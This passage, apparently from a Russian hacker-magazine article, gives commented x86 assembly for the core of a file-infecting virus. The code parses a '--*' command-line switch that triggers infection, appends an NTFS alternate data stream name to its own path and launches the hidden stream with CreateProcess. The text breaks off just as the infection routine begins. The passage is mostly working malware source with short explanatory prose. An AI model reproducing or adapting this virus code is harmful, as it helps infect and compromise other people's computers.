Естественные языки (ну типа там русский матерный или английский технический) с описанием компьютерных алгоритмов практически никогда не справляются. Уж слишком они неоднозначны и взаимно противоречивы. Поэтому, во избежание недоразумений продублируем описание алгоритма на языке ассемблера.
Ниже приведен исходный код ключевого фрагмента вируса с комментариями. Технические детали для экономии бумами опущены и лежат на лазерном диске, прилагаемом к журналу в файле xcode.asm.
section '.code' code readable executable
start:
; удаляем временный файл
push godown
call [DeleteFile]
; определяем наше имя
push
1000
push buf
push 0
call
[GetModuleFileName]
; считываем командную строку
; ключ --* filename - заразить
call [GetCommandLine]
mov ebp,eax
xor ebx,ebx
mov ecx, 202A2D2Dh ;
rool:
cmp [eax], ecx ; это '--*'?
jz infect
inc eax
cmp
[eax], ebx ; конец командной строки?
jnz rool
; выводим диагностическое сообщение,
; подтверждая свое присутствие в файле
push 0
push aInfected
push aHello
push 0
call [MessageBox]
; добавляем к своему имени имя NTFS-потока
mov esi, code_name
mov edi, buf
mov ecx, 100; code_name_end - code_name
xor eax,eax
repne scasb
dec edi
rep movsb
; запускам NTFS-поток на выполнение
push xxx
push xxx
push eax
push eax
push eax
push eax
push eax
push eax
push ebp
push buf
call [CreateProcess]
jmp go2exit ; выходим из вируса
infect:
; устанавливаем eax на первый символ имени файла-жертвы
; (далее по тексту dst)
add eax, 4
xchg eax, ebp